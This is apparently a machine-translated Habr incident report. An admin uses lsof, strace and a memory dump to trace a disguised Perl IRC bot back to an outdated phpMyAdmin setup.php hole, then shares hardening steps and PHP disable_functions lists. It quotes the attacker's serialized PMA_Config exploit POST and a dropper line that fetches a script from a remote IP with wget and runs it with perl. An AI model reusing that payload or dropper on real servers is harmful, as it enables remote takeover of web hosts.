主に私のプロジェクトをホストする管理用のサーバーがいくつかありますが、それらに加えて、クライアント、知人、知人、知人など、多くの残されたサイトを配置する必要がありました。 管理中にさまざまな問題が発生したため、一部の監視設定(zabbixおよび自己記述型スクリプト)が構成されました。
そして昨日、サーバーの1つで、アクティブな接続をチェックするスクリプトがアラームを鳴らしました。ポート433の不明なホストへの送信接続は、月曜日の朝にメールを読むことを習得した時点で9時間以上、常にハングしています。
カーソルスキャン中に、このアクティブな接続に加えて、システムで異常や残されたプロセスが検出されなくなり、インターフェイス上のトラフィックの急激な増加も検出されましたが、これは私を安心させるものではなかったので、さらに調べる必要がありました。
分析の結果に基づいて、基本的なPHP設定を持つほとんどのサーバーに同様のセキュリティホールが存在する可能性があることがわかったため、そのような場合からホスティングでサーバーの所有者の残りを保護するためにハブに投稿することを決定し、サーバーへの感染源を見つける方法も説明しました。 このシステムは、Debian Lennyによって最新の更新とともにインストールされます。バックポートsqueeze、postfix + dovecot、apache2、lighttpd、mysql、php、perl workからも-一般的にはほぼ基本的な構成です。
この接続を発見した私のスクリプトは次のことを行います:30分ごとに
lsof -nP -i :80,443,25 +c 15
(ポート80,443,25へのアクティブな発信接続のリスト)、それからpostfixメールサーバーを切断し、私のプロセスのいくつか、そしてそれらのほかに誰かが接続を維持し、すぐにパニックモードをオンにした場合。
このスクリプトの結果に基づいて、次の情報を受け取りました。
perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->81.223.126.136:443 (ESTABLISHED)
私はすぐにsshで接続し、ps auxを作成しました。
UID PID PPID C STIME TTY TIME CMD
www-data 31621 1 0 20:15 ? 00:00:00 /usr/sbin/apache2 -k start
つまり psこれはperlではなく、Apacheであると主張しました。
したがって、このプロセスがシステムに表示された正確な時間を知り、この時間中にログを検索したかったのですが、スクリプトには30分遅れがあり、それに対して多くのログを書き込むことができました。 特定の開始日を把握するのはかなり問題があり、ps auxコマンドは/ proc /ファイル作成日と起動情報(最後の日、12月12日)のみを提供し、情報のクイックルックで見つかった残りはスクリプトメッセージの間隔と一致しませんでしたが、アクティブなグーグルの後魔法のコマンドを見つけて、このプロセスの特定の開始時間を1秒の精度で見つけることができました。
# ps -eo pid,lstart,cmd
2番目の列には、プロセス12.12.2010 23:59:40のプロセスが開始された正確な時刻が表示されます。
この間、各仮想ホストのログを慎重に調べて、マイナス5分まで、この瞬間から異常なものは見つかりませんでした! また、プロセスツリーを構築し、このプロセスには親(pid 0を持つ親)がないことを確認しました。 また、接続がハングするIPアクセス(81.223.126.136)には、ログに単一のデーモンがありませんでした。
さらに、perlに関するグーグル検索では、コマンドパラメーターを他のテキストに変更することは非常に簡単であることがわかりました。これは変数$ 0を介して行われます。 実行中のperlプロセスは、mysqld、init、またはその他のデーモンとして表示できます。
合計で、親のないアクティブなperlプロセスがあります。これは9時間以上ハングし、どこからでも実行されていますが、ホスティングではどこにもPHPしかありません。 したがって、Apacheを再起動しても、このプロセスはアクティブのままになります。
次に、tcpdumpを介してトラフィックの分析を試みました。
000033 IP [my_ip].55026 > 81.223.126.136.443: . ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
000172 IP [my_ip].55026 > 81.223.126.136.443: P 1:13(12) ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
001043 IP 81.223.126.136.443 > [my_ip].54320: . ack 163 win 54 <nop,nop,timestamp 2876573490 575834655>
183151 IP 81.223.126.136.443 > [my_ip].55026: . ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
000022 IP [my_ip].55026 > 81.223.126.136.443: P 13:145(132) ack 1 win 46 <nop,nop,timestamp 575834747 2876573536>
000005 IP 81.223.126.136.443 > [my_ip].55026: P 1:77(76) ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
000006 IP [my_ip].55026 > 81.223.126.136.443: . ack 77 win 46 <nop,nop,timestamp 575834747 2876573536>
001213 IP 81.223.126.136.47092 > [my_ip].113: S 4059834353:4059834353(0) win 5840 <mss 1460,sackOK,timestamp 2876573536 0,nop,wscale 7>
000019 IP [my_ip].113 > 81.223.126.136.47092: S 2188075368:2188075368(0) ack 4059834354 win 5792 <mss 1460,sackOK,timestamp 575834748 2876573536,nop,wscale 7>
また、彼はhtopコマンドでstraceを実行する機能も見つけました。
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 559974})
read(4, "ERROR :Closing Link: Fasso'[sea.q"..., 4096) = 76
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599998})
read(4, ""..., 4096) = 0
close(4) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
fcntl(4, F_SETFD, FD_CLOEXEC) = 0
connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("81.223.126.136")}, 16) = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "NICK Fasso'\n"..., 12) = 12
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "USER fake [my_ip] 81.223.1"..., 132) = 132
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_IGN}, 8) = 0
nanosleep({2, 0}, {2, 0}) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599997})
read(4, "NOTICE AUTH :*** Looking up your "..., 4096) = 113
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
15:59:55 icq.j-im.ru
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
このデータから、このボットは定期的にサーバーと情報を交換していることがわかりました(30〜60秒ごと)。 アクティブに動作しますが、トラフィックはあまり発生しません。god.undernet.hkホストを見ましたが、システム内でボットのソースを見つけるのに役立ちませんでした。
次に、もう少し頭を使ってlsof -p 31621を実行すると、次の出力が得られました。
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
perl 31621 www-data cwd DIR 9,4 640 2 /tmp
perl 31621 www-data rtd DIR 9,1 4096 2 /
perl 31621 www-data txt REG 9,1 6848 245277 /usr/bin/perl
perl 31621 www-data mem REG 9,1 25536 310438 /usr/lib/perl/5.10.0/auto/Socket/Socket.so
perl 31621 www-data mem REG 9,1 19704 310433 /usr/lib/perl/5.10.0/auto/IO/IO.so
perl 31621 www-data mem REG 9,1 39112 1404408 /lib/libcrypt-2.7.so
perl 31621 www-data mem REG 9,1 1375536 262722 /lib/libc-2.7.so
perl 31621 www-data mem REG 9,1 130114 261372 /lib/libpthread-2.7.so
perl 31621 www-data mem REG 9,1 534736 1404410 /lib/libm-2.7.so
perl 31621 www-data mem REG 9,1 14616 1404409 /lib/libdl-2.7.so
perl 31621 www-data mem REG 9,1 1499352 246277 /usr/lib/libperl.so.5.10.0
perl 31621 www-data mem REG 9,1 119288 262716 /lib/ld-2.7.so
perl 31621 www-data 0u unix 0xffff880080459200 122918994 /tmp/php.socket-1
perl 31621 www-data 1w FIFO 0,8 123556620 pipe
perl 31621 www-data 2w REG 9,1 838 979223 /var/log/lighttpd/error.log
perl 31621 www-data 3u unix 0xffff880020d31500 123039634 /tmp/php.socket-1
perl 31621 www-data 4u IPv4 123556667 TCP [_ip]:59216->136-126-223-81.static.edis.at:https (ESTABLISHED)
この結論は、lighttpdという言葉の存在によってさらに驚いた(私はサーバー上に2つのIPを持ち、一方はApacheがハングし、もう一方はlighttpd)、psではプロセスはApacheであるように見え、明らかに/ tmpから起動されました
さらに洗脳した後、私はこのプロセスのメモリをダンプすることにしましたが、/ proc // memの読み取りは役に立ちませんでした。 しかし、gcoreコマンド(gdbパッケージから)が役立ちました-その助けを借りて、私はこのプロセスのメモリを3.2mbまでにダンプでき、手動で表示し始めました。 表示すると、目で次のテキストフラグメントを見ることができました。
@fakeps
/usr/sbin/apache2 -k start
god.txt
HTTP_HOST=[my_ip]..!.......DOCUMENT_ROOT=/var/www/.A.......SCRIPT_FILENAME=/var/www/phpmyadmin3/scripts/setup.php..A.......SCRIPT_NAME=/phpmyadmin3/scripts/setup.php..............!.......PHP_FC
GI_CHILDREN=16....1.......PATH=/sbin:/bin:/usr/sbin:/usr/bin......!.......PWD=/tmp................1.......REMOTE_ADDR=62.193.226.196..............!.......SHLVL=1.................1.......PHP_FCGI_MAX_REQUESTS=10000.............1.......OLDPWD=/
var/www/phpmyadmin3.............!......._=/usr/bin/perl
うわー、捕まった! PearlはPHPスクリプト/var/www/phpmyadmin3/scripts/setup.phpから起動されました
Googleにアクセスして、「phpmyadmin setup.php exploit」と入力し、有効なエクスプロイトを見つけます。www.securityfocus.com/ bid / 34236-2009-03-24に発見されました
。phpmyadminWebサイトwww.phpmyadmin.net/にもあり
ます 。
home_page / security / PMASA-2009-3.php 。バージョン
2.11.9.5および
3.1.3.1でのみ修正されています。
このphpmyadminは、かなり長い間手動で設定されました。 リポジトリに3つのバージョンはありませんでした。バージョン3.0.0-rc2、つまり まだ空の穴のある古いもので、それから私はそれを安全に忘れて今日まで死んだままにしておきました。
さらに、phpスクリプトのアドレスをすでに知っているため、lighttpdログで呼び出しを見つけることができました。
62.193.226.196 [my_ip] - [12/Dec/2010:15:54:57 +0300] "GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"
62.193.226.196 [my_ip] - [12/Dec/2010:15:54:59 +0300] "POST /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 556203 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"
私が理解していないのは時間差だけで、リクエストは15:54で、プロセスは23:59に現れました。
私はまだどのボットが私をすり抜けたかを知りたかったので、スクリプトへのアクセスをブロックする代わりに、そこにトラップを設定しました。
$loginfo['date']=date('c'); $loginfo['env']=var_export($_ENV,true); $loginfo['get']=var_export($_GET,true); $loginfo['post']=var_export($_POST,true); file_put_contents('log.txt',var_export($loginfo,true),FILE_APPEND);
トラップはそれほど長くはかからず、翌日の22時に再びこのスクリプトへのアピールをキャッチし、既にエクスプロイトコードがあります。
'post' => 'array ( \'action\' => \'lay_navigation\', \'eoltype\' => \'unix\', \'token\' => \'4b179cfc2f788d828bf9ff8d2f122459\', \'configuration\' => \'a:1:{i:0;O:10:\\\\"PMA_Config\\\\":1:{s:6:\\\\"source\\\\";s:44:\\\\" ftp://web1:l33t@85.25.132.71/html/godbot.txt\\\\";}}\', )'
wgetを介してこのファイルをダウンロードし、以下を参照してください。
<?php system("cd /tmp;killall -9 perl;wget -O god.txt 67.19.118.242/god.txt;perl god.txt;rm -f god.txt*");die;
さらにリンクでは、ボットコード自体(34 kバイト)を既に取得しています。興味のある方は、ダウンロードして確認できます。
全体として、このボットの侵入の原因を見つけて、ボット自体のコードを取得することができました。 穴を修正するために残ります;)
私の分析の説明が、他の管理者がサーバー上のすべての悪の検索と分析に役立つことを願っています。そのような場合から身を守る方法
最初に頭に浮かぶのは、時間内に最新バージョンに更新する必要があるということです。 はい、この特定の場合、phpmyadminのバージョンに従わなかったのは私自身のせいですが、ホスティングのすべてのクライアントにphpmyadminを絶えず更新させることはできません。ホームフォルダーにアクセスできるユーザーは、既に同様の問題の原因になっています。 各サイトのコードの清潔さとセキュリティのために戦うのは無意味です;グローバルな保護対策を講じる必要があります。
基本的なphp設定を持つすべてのサーバーが潜在的に同様の脅威にさらされる可能性があり、そのようなボットがサーバーに落ち着いたことに気付くことはほとんど不可能です。 したがって、管理者は事前に同様の問題からサーバーを保護し、異常なアクティビティの監視を構成することをお勧めします。次のセキュリティ対策を講じました。
1.アクティブな接続の定期的な監視を設定します。これにより、PHPスクリプトまたはサーバーへのボットの接続でスパム送信しているかどうかにかかわらず、異常なアクティビティにすぐに気付くことができます。 このスクリプトでは、すぐにlsofコマンドとこのプロセスのメモリダンプを追加しました。 自分でサーバーにたどり着くまでに、スクリプトは既に動作してアンロードしている可能性があります。
2. exec、systemなどの関数の実行に関するphpの禁止。 ほとんど必要ないため、ほとんどのお客様は使用されません。 これらの関数を使用したロギングは理想的なオプションですが、それを行う方法が見つかりませんでした
(ところで、誰かがこれを行う方法を教えてもらえますか?) php.iniの全行は次のとおりです。
disable_functions = "ini_alter, curl_exec, exec, system, passthru, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys
log_variables, openlog, syslog,ftp_exec,dl"
保護方法を正しく選択したかどうか、そしてサーバー上でそのようなケースを誰が保護するかについて、habrayuzersのコメントを聞きたいと思います。また、次の質問は私に開かれたままでした。
- メモリダンプを使用せずにクラックを手動で表示せずに、プロセスとプロセスへのパスが既にプロセスによって上書きされている場合、プロセスを開始する実際のコマンドを見つけるにはどうすればよいですか?
- Linuxでは、どのようにして、pidを知っている特定のプロセスからのtcpdumpまたは同様のユーティリティを介してすべてのトラフィックを傍受して表示できますか?
- 接続中の非標準のサーバーアクティビティを監視するための既製のソリューションはありますか?
- PHPでexec関数などの実行をログに設定する方法はありますか?
UPD。:ところで、この穴はリポジトリからphpmyadminで閉じられない場合があります。ドックを注意深く見る必要があります。 穴は、バージョン
2.11.9.5および
3.1.3.1でのみパッチされました。 しかし、例えば、Debian Lennyは4:2.11.8.1-5 + lenny6になり、別のパッチ-http://www.debian.org/security/2009/dsa-1824で穴が閉じられます
このホールの詳細:
www.phpmyadmin.net/home_page/security/PMASA-2009-3.phpUPD2:特定のプロセスのネットワークへのアクセスを制限するために、何らかの方法でファイアウォールを介して設定できますか(Linuxの場合はiptablesになります)。 たとえば、すべてのperlプロセスが外部に接続することを禁止します。 Android OS(Linuxカーネルでも動作します)には、特定のアプリケーションのネットワークへのアクセスを許可/拒否できるDroidWallプログラムがありますが、基本的なLinuxディストリビューション(Debianなど)では、これが実行できるかどうかが理解できませんでした。
UPD3:コメントと文字に基づいて、関数のリストを追加し、不要な関数をいくつか
削除しました。
disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"
UPD4:視聴者の要望に応じて追加された追加:
アクティブな接続をチェックするためのスクリプト:( 私の個人的なニーズのために膝の上にすばやく書かれました) $out=system("lsof -nP -i :80,443,25 +c 15 | grep -v -E '^(COMMAND|apache2|zabbix|smtpd?|master|scache|host|lighttpd)' | grep -v 'wget.*>[my_ip]:80'"); if(strlen($out)) { $arr=explode("\n",$out); foreach($arr as $str) { echo $str."\n"; $spl=preg_split("/\s+/",$str); echo `ps -f -p {$spl[1]}`."\n\n"; echo `lsof -p {$spl[1]}`."\n\n"; }
そして、30分ごとにcronに登録します。 起動時に余分なものが表示された場合は、grepをリストに追加して、干渉しないようにします。 その結果、スパムやダウンロードを試みるものが残っている場合は、すぐにcronがメールで通知します。
UPD4:ユーザー
z123から:プロセスを開始した実際のプログラムを見つける方法(変更された場合):
ps -p 123 -o comm
readlink / proc / 123 / exe(123はプロセス番号に置き換え)
しかし、残念ながら、起動パラメーターとフォルダーは表示されませんが、このボットにはperlと/ usr / bin / perlのみが表示されるため、メモリダンプなしでは、感染元のフォルダーを見つける方法が見つかりません(つまり、
/var/www/phpmyadmin3/scripts/setup.php
行を見つけます)
/var/www/phpmyadmin3/scripts/setup.php
)